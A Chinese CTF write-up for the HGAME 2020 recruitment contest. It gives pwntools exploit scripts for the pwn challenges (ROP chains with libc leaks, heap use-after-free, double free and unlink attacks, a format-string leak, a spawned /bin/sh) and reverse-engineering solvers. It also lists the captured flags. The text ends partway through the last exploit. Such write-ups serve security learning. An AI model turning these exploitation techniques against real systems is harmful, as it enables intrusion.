杭电在2020年初寒假[四个月]中举办了一场为期四周的招新赛,题目几乎常规题,百度就能查询到类似的EXP
Week_ONE
Pwn
第一题,Hard_AAAAA
直接贴EXP,很简单的一个gets函数引发的溢出
1 | from pwn import* |
2 | p = remote('47.103.214.163',20000) |
3 | p.recv() |
4 | payload = 'A'*123+ '0O0o\x00O0\x00' |
5 | p.sendline(payload) |
6 | p.interactive() |
第二题,Number_Killer
首先会进行20次函数调用,每次会输入不超过20个字符,以’\n’为截止部分,调用的函数返回利用atoll函数会转化输入的’\n’之前的字符为长整型变量。
然后直接利用puts函数打印出puts函数的真实地址,找到对应的libc版本,然后直接利用,贴出EXP,都是很简单的入门题。
1 | from pwn import* |
2 | from LibcSearcher import* |
3 | context.log_level = 'debug' |
4 | p = remote('47.103.214.163',20001) |
5 | #p = process('./Number_Killer') |
6 | elf = ELF('Number_Killer') |
7 | p.recvuntil("Let's Pwn me with numbers!") |
8 | pop_rdi_ret = 0x400803 #4196355 |
9 | main_addr = 0x4006F6 #4196086 |
10 | puts_plt = 0x40051C #4195612 |
11 | puts_got = 0x601018 #6295576 |
12 | for i in range(0,11): |
13 | p.sendline('0') |
14 | p.sendline('47244640256') |
15 | p.sendline('0') |
16 | p.sendline('4196355') |
17 | p.sendline('6295576') |
18 | p.sendline('4195612') |
19 | p.sendline('4196086') |
20 | p.sendline('0') |
21 | p.sendline('0') |
22 | p.sendline('0') |
23 | p.recvline() |
24 | puts_addr = u64(p.recv(6).ljust(8,'\x00')) |
25 | log.success('Puts_Addr:\t' + hex(puts_addr)) |
26 | libc = LibcSearcher('puts',puts_addr) |
27 | libcbase = puts_addr - libc.dump('puts') |
28 | system_addr = libcbase + libc.dump('system') |
29 | binsh_addr = libcbase+libc.dump('str_bin_sh') |
30 | |
31 | for i in range(0,11): |
32 | p.sendline('0') |
33 | p.sendline('47244640256') |
34 | p.sendline('0') |
35 | p.sendline(str(int(hex(pop_rdi_ret),16))) |
36 | p.sendline(str(int(hex(binsh_addr),16))) |
37 | p.sendline(str(int(hex(system_addr),16))) |
38 | p.sendline('0') |
39 | p.sendline('0') |
40 | p.sendline('0') |
41 | p.sendline('0') |
42 | p.interactive() |
第三题,One_Shot
简单的Pwn题,读一遍程序伪C代码,首先将flag读入到bss段变量flag处,然后输入32个字符,看一遍bss段,name位于flag的上方,然后在&V4输入了一个值,后面又需要取V4 = 1,此处相当于会取我们输入的值的作为地址,令该地址的值为1,最后输出name的字符串,由于scanf输入字符串,会自动在字符串末补上’\x00’,又因为puts打印字符串遇到’\x00’则截断,所以利用V4 = 1,使’\x00’地址处为1
1 | from pwn import* |
2 | p = remote('47.103.214.163',20002) |
3 | p.recv() |
4 | p.sendline('U'*0x1A+'FLAG:') |
5 | p.recv() |
6 | p.sendline('6295775') |
7 | p.interactive() |
第四题,ROP_LEVEL0
简单的64位栈溢出,五分钟一道的难度,直接贴EXP
1 | from pwn import* |
2 | from LibcSearcher import* |
3 | context.log_level = 'debug' |
4 | p = remote('47.103.214.163',20003) |
5 | #p = process('ROP_LEVEL0') |
6 | elf = ELF('ROP_LEVEL0') |
7 | puts_plt = elf.plt['puts'] |
8 | puts_got = elf.got['puts'] |
9 | p.recvuntil('./flag') |
10 | pop_rdi_ret = 0x400753 |
11 | main_addr = 0x40065B |
12 | payload = 'U'*(0x50+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr) |
13 | p.sendline(payload) |
14 | p.recvline() |
15 | puts_addr = u64(p.recv(6).ljust(8,'\x00')) |
16 | log.success('Puts_Addr:\t' + hex(puts_addr)) |
17 | libc = LibcSearcher('puts',puts_addr) |
18 | libcbase = puts_addr - libc.dump('puts') |
19 | system = libcbase + libc.dump('system') |
20 | binsh = libcbase + libc.dump('str_bin_sh') |
21 | |
22 | p.recvuntil('./flag') |
23 | payload_II = 'U'*(0x50+8) + p64(pop_rdi_ret) + p64(binsh) + p64(system) |
24 | p.sendline(payload_II) |
25 | p.interactive() |
Reverse
第一题,Maze
简单的迷宫题,v5指向unk_6020C4数组首地址,每次以四个字节横向移动,每次64个字节纵向移动,每次循环判断V5移动到的位置是否为1,不为1则输出错误
稍微写一个程序,直接出路径,然后以wasd走出去即可
1 | #include<stdio.h> |
2 | #include<string.h> |
3 | int main() |
4 | { |
5 | int N[] = |
6 | { |
7 | 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, |
8 | 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, |
9 | 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, |
10 | 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, |
11 | 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, |
12 | 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, |
13 | 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, |
14 | 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, |
15 | 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, |
16 | 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, |
17 | 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, |
18 | 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, |
19 | 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, |
20 | 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, |
21 | 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, |
22 | 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, |
23 | 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, |
24 | 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, |
25 | 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, |
26 | 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, |
27 | 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, |
28 | 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, |
29 | 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, |
30 | 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, |
31 | 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, |
32 | 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, |
33 | 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, |
34 | 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, |
35 | 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, |
36 | 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, |
37 | 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, |
38 | 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, |
39 | 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, |
40 | 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, |
41 | 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, |
42 | 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, |
43 | 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, |
44 | 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, |
45 | 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, |
46 | 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, |
47 | 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, |
48 | 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, |
49 | 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, |
50 | 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, |
51 | 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, |
52 | 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, |
53 | 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, |
54 | 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, |
55 | 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, |
56 | 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, |
57 | 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, |
58 | 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, |
59 | 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, |
60 | 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, |
61 | 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, |
62 | 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, |
63 | 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, |
64 | 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, |
65 | 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, |
66 | 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, |
67 | 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, |
68 | 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, |
69 | 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, |
70 | 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, |
71 | 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, |
72 | 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, |
73 | 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, |
74 | 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, |
75 | 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, |
76 | 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, |
77 | 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, |
78 | 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, |
79 | 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, |
80 | 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, |
81 | 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x01, |
82 | 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x00, 0x01, 0x01, |
83 | 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, |
84 | 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, |
85 | 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, |
86 | 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, |
87 | 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, |
88 | 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, |
89 | 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, |
90 | 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x01, 0x00, |
91 | 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x01, 0x01, |
92 | 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x00, 0x01, 0x00, |
93 | 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, |
94 | 0x01, 0x01, 0x01, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x00, |
95 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x01, 0x00, 0x00, 0x01, |
96 | 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, |
97 | 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, |
98 | 0x01, 0x00, 0x01, 0x00, 0x00, 0x01, 0x01, 0x01, 0x00, 0x01, |
99 | 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, 0x01, 0x00, |
100 | 0x00, 0x01, 0x01, 0x00, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, |
101 | 0x01, 0x01, 0x01, 0x01, 0x01, 0x00, 0x01, 0x00, 0x01, 0x01, |
102 | 0x01, 0x01 |
103 | }; |
104 | |
105 | for(int i = 0;i<sizeof(N)/4;i+=4) |
106 | { |
107 | if(i %64 == 0) |
108 | putchar(10); |
109 | if(N[i] == 1) |
110 | printf(" "); |
111 | else |
112 | printf("N"); |
113 | |
114 | } |
115 | } |
第二题,BitWise
算法逆向一遍就出来了
1 | import string |
2 | str_I = 'e4sy_Re_' |
3 | str_II = 'Easylif3' |
4 | List = [76,60,-42,54,80,-120,32,-52] |
5 | flag_I = [] |
6 | flag_II = [] |
7 | for i in range(0,8): |
8 | P = (List[i]^ord(str_I[i]))%256 |
9 | flag_I.append(P) |
10 | for l in range(0,8): |
11 | Q = ( (ord(str_I[l])^List[l]) ^ord(str_II[l])) %256 |
12 | flag_II.append(Q) |
13 | print flag_I |
14 | print flag_II |
15 | |
16 | flag_III = [] |
17 | flag_IV = [] |
18 | # from back to front |
19 | for c in range(7,-1,-1): |
20 | for n in range(0,256): |
21 | if flag_I[c] == (((n&0x55) ^ ((flag_II[7-c]&0xAA)>>1))| (n&0xAA))%256: |
22 | T1 = n |
23 | break; |
24 | for n in range(0,256): |
25 | if flag_II[7-c] == ((2*( T1&0x55 )^ (n&0xAA)) | (n&0x55))%256: |
26 | T2 = n |
27 | break; |
28 | for n in range(0,256): |
29 | if T1== ((n&0x55) ^ ( (T2 &0xAA)>>1) | (n&0xAA))%256: |
30 | T1 = n |
31 | break; |
32 | for n in range(0,256): |
33 | if T1 ==(((n&0xE0)>>5)| (8*n))%256: |
34 | T1 = n |
35 | break; |
36 | flag_III.append(T1) |
37 | flag_IV.append(T2) |
38 | flag_III.reverse() |
39 | print flag_III |
40 | print flag_IV |
41 | |
42 | def re(list): |
43 | I = [] |
44 | II = [] |
45 | for c in range(0,8): |
46 | for i in range(0,0x10): |
47 | for n in range(0,0x10): |
48 | if list[c] == 0x10* i + n: |
49 | I.append(i) |
50 | II.append(n) |
51 | flag = '' |
52 | print I |
53 | print II |
54 | for q in range(0,8): |
55 | if I[q] >=0 and I[q] <= 9: |
56 | I[q] += 48 |
57 | else: |
58 | I[q] +=87 |
59 | if II[q] >=0 and II[q] <= 9: |
60 | II[q] += 48 |
61 | else: |
62 | II[q] +=87 |
63 | #print 'ONE:\t'+chr(I[q]) + ' TWO\t' + chr(II[q]) |
64 | flag +=( chr(I[q])+chr(II[q])) |
65 | return flag |
66 | str = re(flag_III)+re(flag_IV) |
67 | print str |
第三题,Advance
其实就是一个base64加密flag,然后取每个字符在base64码的下标作为程序里面其中数组的下标,如果flag字节不足3的倍数,则编码后的flag用=补齐,最后函数返回与0g371wvVy9qPztz7xQ+PxNuKxQv74B/5n/zwuPfX’进行比较
1 | import base64,string |
2 | str = '0g371wvVy9qPztz7xQ+PxNuKxQv74B/5n/zwuPfX' |
3 | S = 'abcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZ' |
4 | ASCII ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' |
5 | list = [] |
6 | flag = '' |
7 | for i in range(0,len(str)): |
8 | n = S.find(str[i]) |
9 | list.append(n) |
10 | flag += ASCII[n] |
11 | print list |
12 | print base64.b64decode(flag) |
第四题,CPP
不需要太多的线性代数的知识,只需要知道矩阵相乘即可,首先将输入的flag以” _ “分割,再利用atoll将分割后的字符串转化为长整型,最后进行矩阵相乘,每次结果与上述已给9个值进行相等比较,逆向算出的结果需要转化为有符号型整型,然后以” _ “拼接在一起,则为flag,此题直接手算,写代码太麻烦了吧。
FLAG
1:hgame{0OoO0oo0O0Oo}
2:hgame{Ea2y_2hel1c0de_1n_St4ck}
3:hgame{On3_Sh0t_0ne_Fl4g}
4:hgame{R0P_1s_H4cK3rs’_RoM4nC3}
Reverse
1:hgame{ssssddddddsssssddwwdddssssdssdd}
2:hgame{0f233e63637982d266cbf41ecb1b0102}
3:hgame{b45e6a_i5_50_eazy_6VVSQ}
4:hgame{-24840_-78193_51567_2556_-26463_26729_3608_-25933_25943}
关于Crypto、Web、Misc等题,可进入我队友的博客查看
Week_TWO
水了几天了,就做了几道pwn题,re做了两个最简单的,沉迷于小说去了
re就不写了,写三个pwn题吧,最后一个还没去想
1.Find_YourSelf
getcwd()函数取得的目录即/proc/self/cwd 值一样,则第一步利用 ls -l /proc/self/cwd 打印出软链接到哪个目录,从而绕过主函数的strcmp,在Linux系统里面,$0其实就代表/bin/sh,所以第二个命令就提交$0,故可取得权限,然后由于程序关闭了标准输出和错误输出,可将cat flag输出的内容重定向标准输入,则在权限取得之后,输入
1 | $ cat flag >&0 |
EXP………
1 | from pwn import* |
2 | p = remote('47.103.214.163',21000) |
3 | context.log_level = 'debug' |
4 | p.sendline('ls -l /proc/self/cwd') |
5 | p.recvuntil('/tmp') |
6 | dir = '/tmp'+p.recvuntil('\n',drop = True) |
7 | p.sendline(dir) |
8 | p.sendline("$0") |
9 | p.interactive() |
2.Roc826s_Note
简单的堆题,delete后没有置0,存在UAF漏洞,首先利用申请一个大于fast_bin的chunk块,然后申请两个fast_bin块,删除第一个,最后利用show函数打印chunk0,打印出来的地址为main_arena+88,在libc找到main_arena大小,可以确定libc基址,最后利用double free实现__malloc_hook改one_gadget
1 | from pwn import* |
2 | p = process('./Roc826') |
3 | p = remote('47.103.214.163',21002) |
4 | elf = ELF('Roc826') |
5 | libc = ELF('libc-2.23.so') |
6 | context.log_level = 'debug' |
7 | def add(size,data): |
8 | p.recvuntil('exit') |
9 | p.sendline('1') |
10 | p.sendlineafter('size?',size) |
11 | p.sendlineafter('content:',data) |
12 | def dele(index): |
13 | p.recvuntil('exit') |
14 | p.sendline('2') |
15 | p.sendlineafter('index?',index) |
16 | def show(index): |
17 | p.recvuntil('4.exit') |
18 | p.sendline('3') |
19 | p.sendlineafter('index?',index) |
20 | def exit(): |
21 | p.recvuntil('exit') |
22 | p.sendline('4') |
23 | add('136','U'*0x10) #0 |
24 | add('96','ZZZZ')#1 |
25 | add('96','SSSS')#2 |
26 | |
27 | dele('0') |
28 | show('0') |
29 | p.recvuntil('content:') |
30 | libcbase = u64(p.recv(6).ljust(8,'\x00'))-0x3C4B20-88 |
31 | log.success('LibcBase:\t'+hex(libcbase)) |
32 | onegadget = libcbase + 0xf1147 |
33 | malloc_hook=libcbase+0x3C4B20-0x10 |
34 | add('136','U'*0x10) |
35 | dele('1') |
36 | dele('2') |
37 | dele('1') |
38 | add('96',p64(malloc_hook-0x23)) |
39 | add('96','SSSS') |
40 | add('96','ZZZZ') |
41 | add('96','\x00'*19+p64(onegadget)) |
42 | p.sendline('1') |
43 | p.sendlineafter('size?','10') |
44 | p.interactive() |
3.Another_Heaven
利用最开始的一个地址任意写,以及strcmp和flag比较,从而可以爆破flag,EXP比较好写
1 | #-*- coding:utf-8 -*- |
2 | from pwn import* |
3 | import string,base64 |
4 | context.log_level = 'debug' |
5 | flag_addr = 6300000 |
6 | def leak(var,addr): |
7 | #p = process('Another_Heaven') |
8 | p = remote('47.103.214.163',21001) |
9 | elf = ELF('Another_Heaven') |
10 | p.recv() |
11 | p.sendline(str(addr)) |
12 | p.sendline('\x00E99p1ant') |
13 | p.sendlineafter('Password:',var) |
14 | data = p.recv() |
15 | p.close() |
16 | if data.startswith("Welcome!"): |
17 | return var |
18 | elif data.startswith("Wrong"): |
19 | return None |
20 | FLAG = 'hgame{' |
21 | addr = 6300000+7 |
22 | for n in range(0,64): |
23 | if FLAG.endswith('}'): |
24 | break |
25 | for i in string.printable: |
26 | tmp = leak((FLAG+i),addr) |
27 | if tmp == None: |
28 | continue |
29 | else: |
30 | FLAG+=i |
31 | addr +=1 |
32 | break |
33 | log.success('FLAG:\t'+FLAG) |
4.明天,明天一定做,算了,咕了吧,看小说去(手动滑稽
不想做了,把官方WP改一下,本地调试过了就发出来了,WEEK3…
首先利用任意写打印PIE基址,然后利用flag==1,E99处修改puts的got表内容为printf的plt表地址,则puts(name)变为printf(name),在第二次name输入时,可以手动构造格式化字符串漏洞,打印Canary和libcbase,第三次回到开始,即可变成在一个ROP向下栈溢出
1 | #coding=utf8 |
2 | from pwn import* |
3 | p = process('Metaphysical_Necrosis') |
4 | elf = ELF('Metaphysical_Necrosis') |
5 | context.log_level = 'debug' |
6 | puts_plt = elf.plt['puts'] |
7 | puts_got = elf.got['puts'] |
8 | libc = ELF('libc-2.23.so') |
9 | #p = remote('47.103.214.163',21003) |
10 | |
11 | p.sendline('3') |
12 | p.send('\x90\x49') #String<8B From [RBP-10] To Down |
13 | p.sendline('') #getchar() |
14 | p.sendline('') #getchar() |
15 | p.sendline('FMYY') #name in BSS |
16 | p.sendline('0') #Array[160] [RBP-BO] |
17 | p.sendline('') #getchar() |
18 | p.sendline('') #getchar() |
19 | p.sendline('-21') |
20 | p.recvuntil('Terrorist Win\n') |
21 | pie = u64(p.recv(6).ljust(8,'\x00')) - 0x990 |
22 | log.success('PIE:\t'+hex(pie)) |
23 | binsh_addr = 0x2020E0 + pie |
24 | pop_rdi_ret = pie+0xF93 |
25 | p.sendline(p64(pie+0x906)[0:6]) #&E99+var Modify The Puts To Printf |
26 | #------------------- |
27 | p.sendline('3') |
28 | p.send('\x90\x49') |
29 | p.sendline('') |
30 | p.sendline('') |
31 | p.sendline('PP%29$pNN%33$pQQ') |
32 | p.sendline('0') |
33 | p.recvuntil('PP') |
34 | canary = int(p.recvuntil('NN',drop = True),16) |
35 | log.success('Canary:\t' + hex(canary)) |
36 | libcbase = int(p.recv(14),16)-libc.sym['__libc_start_main']-0xF0 |
37 | system_addr = libcbase + libc.sym['system'] |
38 | log.success('LibcBase:\t' + hex(libcbase)) |
39 | p.sendline('') #getchar() |
40 | p.sendline('') #getchar() |
41 | p.sendline('0') |
42 | #---------------------- |
43 | p.sendline('3') |
44 | p.send('\x90\x49') |
45 | p.sendline('') #getchar() |
46 | p.sendline('') #getchar() |
47 | p.sendline('/bin/sh\x00') |
48 | p.sendline('-2147000038') |
49 | for i in range(21): |
50 | p.sendline('0') |
51 | p.send(p64(canary)) |
52 | p.sendline('0') |
53 | p.sendline(p64(pop_rdi_ret)) |
54 | p.sendline(p64(binsh_addr)) #binsh_addr <-name |
55 | p.sendline(p64(system_addr)) |
56 | p.sendline('') |
57 | p.sendline('') |
58 | p.sendline('0') |
59 | p.interactive() |
Week_THR
1.ROP
沙盒函数,利用ORW直接读flag文件,又因为前面已经打开过一个文件,故fd改为4
1 | from pwn import* |
2 | from LibcSearcher import * |
3 | p = remote('47.103.214.163',20300) |
4 | #p = process('./ROP') |
5 | elf = ELF('ROP') |
6 | context.log_level = 'debug' |
7 | puts_plt = elf.plt['puts'] |
8 | open_got = elf.got['open'] |
9 | read_got = elf.got['read'] |
10 | leave_ret = 0x40090D |
11 | buf = 0x6010A0 |
12 | pop_rdi_ret = 0x400A43 |
13 | csu_gadget = 0x400A3A |
14 | FLAG = elf.bss()+0x200 |
15 | p.recvuntil('so?') |
16 | payload = '/flag\x00\x00\x00' # r12->call r13->rdx r14->rsi r15->rdi |
17 | payload += p64(csu_gadget)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf)+p64(0x400A20)+2*p64(0)+p64(1)+p64(0)*(6+1-3) |
18 | payload += p64(csu_gadget+2)+p64(read_got)+p64(0x20)+p64(FLAG)+p64(4)+p64(0x400A20)+2*p64(0)+p64(1)+p64(0)*(6+1-3) |
19 | payload += p64(pop_rdi_ret)+p64(FLAG)+p64(puts_plt) |
20 | p.send(payload) |
21 | p.recvuntil('flag\n\n') |
22 | payload_II = 'U'*0x50 + p64(buf)+p64(leave_ret) |
23 | p.sendline(payload_II) |
24 | p.recv() |
25 | p.close() |
2.Annevi_Note
由于存在堆溢出,可以修改下一个chunk块的presize和size域,即可引发unlink,实现任意写,最后利用free_hook改one_gadget,一把梭
1 | from pwn import* |
2 | p = remote('47.103.214.163',20301) |
3 | #p = process('./Annevi') |
4 | elf = ELF('Annevi') |
5 | libc = ELF('libc-2.23.so') |
6 | puts_got = elf.got['puts'] |
7 | context.log_level = 'debug' |
8 | context(arch = 'amd64',os ='linux') |
9 | def add(size,content): |
10 | p.sendlineafter('edit\n:','1') |
11 | p.sendlineafter('size?',str(size)) # size>=144 |
12 | p.sendlineafter('content:',content) |
13 | def dele(index): |
14 | p.sendlineafter('edit\n:','2') |
15 | p.sendlineafter('index?',str(index)) |
16 | def show(index): |
17 | p.sendlineafter('edit\n:','3') |
18 | p.sendlineafter('index?',str(index)) |
19 | def edit(index,content): |
20 | p.sendlineafter('edit\n:','4') |
21 | p.sendlineafter('index?',str(index)) |
22 | p.sendlineafter('content:',content) |
23 | List = 0x602040 |
24 | add(0x90,'U'*0x10) #0 |
25 | add(0x90,'U'*0x10) #1 |
26 | #----------create the fake chunk |
27 | payload = p64(0) |
28 | payload += p64(0x90) # size |
29 | payload += p64(List - 0x18) # fd List[0]-0x18 |
30 | payload += p64(List - 0x10) # bk List[0]-0x10 |
31 | #---------- |
32 | payload = payload.ljust(0x90,'\x00') #padding |
33 | payload += p64(0x90) |
34 | payload += p64(0xA0) |
35 | edit(0,payload) |
36 | dele(1) |
37 | payload = 'U'*0x18 + p64(puts_got) + p64(List) |
38 | edit(0,payload) |
39 | show(0) |
40 | p.recvuntil('content:') |
41 | libcbase = u64(p.recv(6).ljust(8,'\x00')) - libc.symbols['puts'] |
42 | log.success('LibcBase:\t' + hex(libcbase)) |
43 | system = libcbase + libc.sym['system'] |
44 | str_bin_sh = libcbase + 0x18CD57 |
45 | free_hook = libcbase + 0x3C67A8 |
46 | edit(1,p64(free_hook)+p64(str_bin_sh)) |
47 | edit(0,p64(system)) |
48 | dele(1) |
49 | p.interactive() |
3.E99p1ant_Note
offbyone漏洞,由于64位程序,对齐16位大小,故申请空间的时候,申请大小最低位为8,即可修改下一个chunk块size域中的flag位,从而利用overlap+fastbin_attack,还有因为unsorted bin切分块,可以取得main_arena+88的值,然后通过double free改malloc_hook为one_gadget
1 | #coding=utf8 |
2 | from pwn import* |
3 | p = remote('47.103.214.163',20302) |
4 | #p = process('./E99') |
5 | elf = ELF('E99') |
6 | libc = ELF('libc-2.23.so') |
7 | puts_got = elf.got['puts'] |
8 | context.log_level = 'debug' |
9 | context(arch = 'amd64',os ='linux') |
10 | def add(size,content): |
11 | p.sendlineafter('edit\n:','1') |
12 | p.sendlineafter('size?',str(size)) # size<=256 |
13 | p.sendafter('content:',content) |
14 | def dele(index): |
15 | p.sendlineafter('edit\n:','2') |
16 | p.sendlineafter('index?',str(index)) |
17 | def show(index): |
18 | p.sendlineafter('edit\n:','3') |
19 | p.sendlineafter('index?',str(index)) |
20 | def edit(index,content): |
21 | p.sendlineafter('edit\n:','4') |
22 | p.sendlineafter('index?',str(index)) |
23 | p.sendafter('content:',content) |
24 | add(0x28,'\n') #0 |
25 | add(0xF8,'\n') #1 |
26 | add(0x68,'\n') #2 |
27 | add(0x60,'\n') #3 |
28 | dele(1) |
29 | payload = '\x00'*0x28 + '\x71' |
30 | edit(0,payload) |
